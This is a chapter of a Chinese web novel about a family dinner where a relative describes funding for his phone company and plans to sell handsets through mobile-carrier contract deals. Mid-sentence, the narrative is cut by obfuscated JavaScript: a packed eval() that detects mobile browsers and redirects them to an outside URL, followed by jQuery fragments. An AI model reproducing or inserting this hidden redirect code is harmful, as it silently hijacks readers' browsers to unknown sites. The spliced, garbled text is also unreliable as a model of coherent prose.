前一天全家人一起爬了一座小山，第二天孩子们生龙活虎的去上学了，李兰兰和王大山两口子却累得腰酸背痛的。


    幸好两个人现在都不在业务一线了，不然还得拖着疲惫的身体去上班。


    两人照旧早起了，除了陪孩子们吃早饭之外，他们还要处理一些工作，虽然可以晚点起，但也不能太夸张，不然很容易被员工堵在被窝里，那就尴尬了。


    家里现在请了保姆，两个人都不用再做一些杂事。


    “兰兰，我这边成了，有时间没，晚上两家一起吃个饭！犒劳一下你这个大功臣。”对面李延庆的心情听起来特别好。


    “怎么，项目成了啊？”


    “已经注资了，这两天忙，还没来得及给你说，你把姐夫和孩子们叫着，晚上咱一起吃个饭，晚上详谈。”


    “行！”


    晚上几人在京市的一家家常菜馆汇合，李延庆和白敏也带来了他们的女儿，叫李白煜，和王嘉同岁，几个孩子年龄差虽然不太大，但李白煜还是和王嘉玩的更好一些，两个人座位都要坐在一起。


    菜上上来，小孩子们开始大快朵颐，大人们一边吃一边谈事情。


    “最后找的哪家注资啊？”李兰兰还挺好奇的，这种和技术沾边的，都是越往后越烧钱，小基金根本跟不起。


    “最后还是国资领投，国资那边又找了几个基金跟投，GS那边也掺和了一脚，结果还算是不错。”


    这次其实还是挺顺利的，可以说是柳暗花明又一村，自己本来都以为没戏了，国资和GS那边都不缺好项目！


    更甚至于管理人在开新基金之前，基本都已经提前储备好了项目，基本都是可以保证盈利的，就算个别项目亏损了一些，也能从另外的项目里面找补回来。


    “那挺不错啊，徐总那边是专门搞国投基金的，那些资管和券商可是都盯着呢，你能掺和进去，产品肯定没的说！”李兰兰介绍给李延庆的那几个投资商，都是她自己以前合作过的。


    当然，她投资的都是小项目，和徐总他们倒没直接合作过，主要是和他们手底下的小基金合作过，彼此合作的比较愉快，也就互相介绍了些人脉。


    “可不是吗？我们这次称得上是过五关斩六将了，好在最终还是拿下了。”李延庆说着就从包里拿出来几个手机，依次放到桌子上，通过旋转桌，转到李兰兰几人那边。


    “这是公司新出的手机，兰兰和姐夫，你俩拿回去试用一下，我们公司最近都在测品呢，你们也给提点意见。”


    李兰兰没拒绝，几个孩子也依次拿过手机，拆开，包装里面有手机、充电器、和一块备用电池，再加上说明书。


    现在市面上普遍还是按键手机，千元以上的高端机型，主要还是以国外品牌为主，国产品牌主要生产的还是中低端机型。


    李兰兰现在用的就是一款诺基亚，手机很轻，和国产的一些山寨组装机差异很大。


    李延庆拿来试用的这个手机，比李兰兰现在用的手机还是要重一些，但比起其他的国产机，身姿已经轻盈许多了。


    手机里的电池是满电的，李兰兰试了一下，音色，质感还是挺不错的，比一般的国产机要好多了。


    “感觉和我现在用的手机差不多，你们现在分销的怎么样，我去交话费，看到最近好多营业厅都在搞存话费送手机的活动，好多牌子都认不出来，买的人还挺多！”


    “没错，那些好多都是定制机，商家算是和运营商合作各取所需，商家可以卖出去手机，运营商可以得到新入网的客户，等到这部分话费用完了，以后就是源源不断的话费了！我们现在也在和运营商谈这方面的业务。”


    李延庆也知道这种操作，那边好多手机都是组装机，成本很低，能进入柜台的，多半都有一些真金白银的关系在里面。


    李延庆也不是没想过把自己这款手机放进去，只是暂时关系还没弄瓷实，后续搞定了，也得尽早和运营商那边达成合作才行。


    他拿起旁边的饮料，给老婆和女儿还有王嘉小朋友都倒了一些，然后把饮料放到旋转桌子上，推过去小朋友那边，才接着说道：“我们那边还没谈下来，估计得谈下来才能进去。”


    运营商这个渠道，是一个很重要的销售渠道，现在的国产机面对的主要还是中低端的市场。


    要拿下这些市场，势必要把渠道铺设到三四线城市，以及乡镇地区。


    普通商家基本都是通过代理来拿货的，他们可能在很多个代理处拿货，在产品没有形成一定规模的时候，很难让这些商家主动来选择自己，这些商家更倾向于有一定知名度的品牌。


    虽然很多贴牌手机被嘲笑为山寨机，但是这些手机的销量和利润却一点也不低，很受市场欢迎。


    即使质量堪忧，这些手机依然赢得了消费者的青睐，李延庆觉得其中最重要的原因就是，它让中低端消费者以极低的价格，就可以轻松搭上高科技的快车。


    李延庆在准备做手机的时候，就已经瞄准了目标人群，他的目标人群就是这类消费者，至于为什么不瞄准高端人群呢？


    就一个原因，他的品牌竞争不过国际知名品牌，高端人群是很没有耐心的一群人，其实包括他自己也是这样。


    这类人有一个普遍的特点，就是很双标！


    他们自己用的东西只选好的、贵的，他们不会给低质商品在自己身上成长的机会，他们要的就是一步到位。


    当然，这些人做产品的时候肯定不是这样，他们在生产产品时，即使生产出了假冒劣质商品，也希望普通消费者给他们这些劣质商品一些机会。


    而李延庆是真心做产品的，他这会已经配上了自己公司的产品，自己生产制造的东西自己不用，光想让消费者用了之后给意见，这不是耍流氓吗？


    只有自己亲自穿着不合脚的鞋，才知道哪里可以更好地改进，变得更合脚。


    当然他也买了好多同行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314292|195035||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的竞品，主要是为了做对比，商品只有多用才知道有什么问题。


    鉴于他们的目标客户的普适性，李延庆是深入了解过这类产品的市场层级的，现阶段最适合的、最容易的就是打入这片蓝海。


    中低端消费者是没有选择优质品牌的资格的，他们只能在现有的品牌中做选择，这句话听着很傲慢，但其实不然。


    中高端消费者如果不满意，他们是有能力在一定程度上，通过定制或者其他方式，得到自己满意的产品。但中低端消费者更多的时候没有这个能力，只能勉强在一群矮子里面挑个高个的。


    当然这也不是说以后就不走高端路线了。


    等到他们现阶段的目标用户和目标用户的下一代成长起来之后，他们就可以开始走高端路线了，相信那个时候，这些念旧的客户，应该不介意拉扯这个陪伴他们成长的手机品牌一把。


    既然要走农村包围城市的路线，那就不能不去了解市场。


    李延庆是自己下去跑过市场的，他们要把货分销下去，就得跟每个省的代理谈，但这只是其中一个渠道。


    在实际调研过程中，他发现一个问题，那种合约机的销售数据，其实是最好的。


    不管这个手机是通过运营商，还是直接在卖场里出售，人们都很倾向于买手机送话费这个销售形式，很多中年人就在给家里的老人或者小孩配备手机的时候，也大多会选择这个方式。


    这完全就是一片蓝海！


    在李延庆的规划中，这一片高地，一定要拿下！


    “可不是嘛，我前一段时间给峥峥他们买手机，就是买的营业厅的合约机，孩子们刚好还没电话号码，索性就直接一起办了！你这个想法是对的，论起渠道来，还有谁能比运营商的渠道多呢？”


    李兰兰很认可李延庆这个方式，这个方式的可操作性很高！


    李兰兰也是越往上走越来越知道，不管混哪一行，你只要想往上走，就必须要有背景，要不然，爬不了太高。


    就像是她之前和李子帆、李延庆分家的时候，她硬是给李延庆留了自己公司百分之五的干股，那个时候，她其实没想过太多，就是纯粹心存感激，李延庆真的是她的贵人，她是真真切切的感激他，想为他出点力。


    李延庆那边创业，她估摸着自己帮不上太大的忙，就想着她给李延庆留着干股，也勉强算是一条后路，哪一天他那边要是真的需要，也能分点钱啥的，算是有备无患吧！


    结果李延庆还没用到这条后路，她自己先遇到了，之前有人借着检查的名义来自己这里捣乱，自己着急找人摆平的时候，那波人却没动静了。


    后来才知道是那些人查到工商那里，发现李延庆是这里的股东，白敏是监事，一场危机就这么烟消云散了，这样的无心之举却救了自己一次！


    她那会隐约知道李延庆和白敏应该有一定的背景，别的不敢说，最起码可以让自己可以和别人站在同一个起跑线上。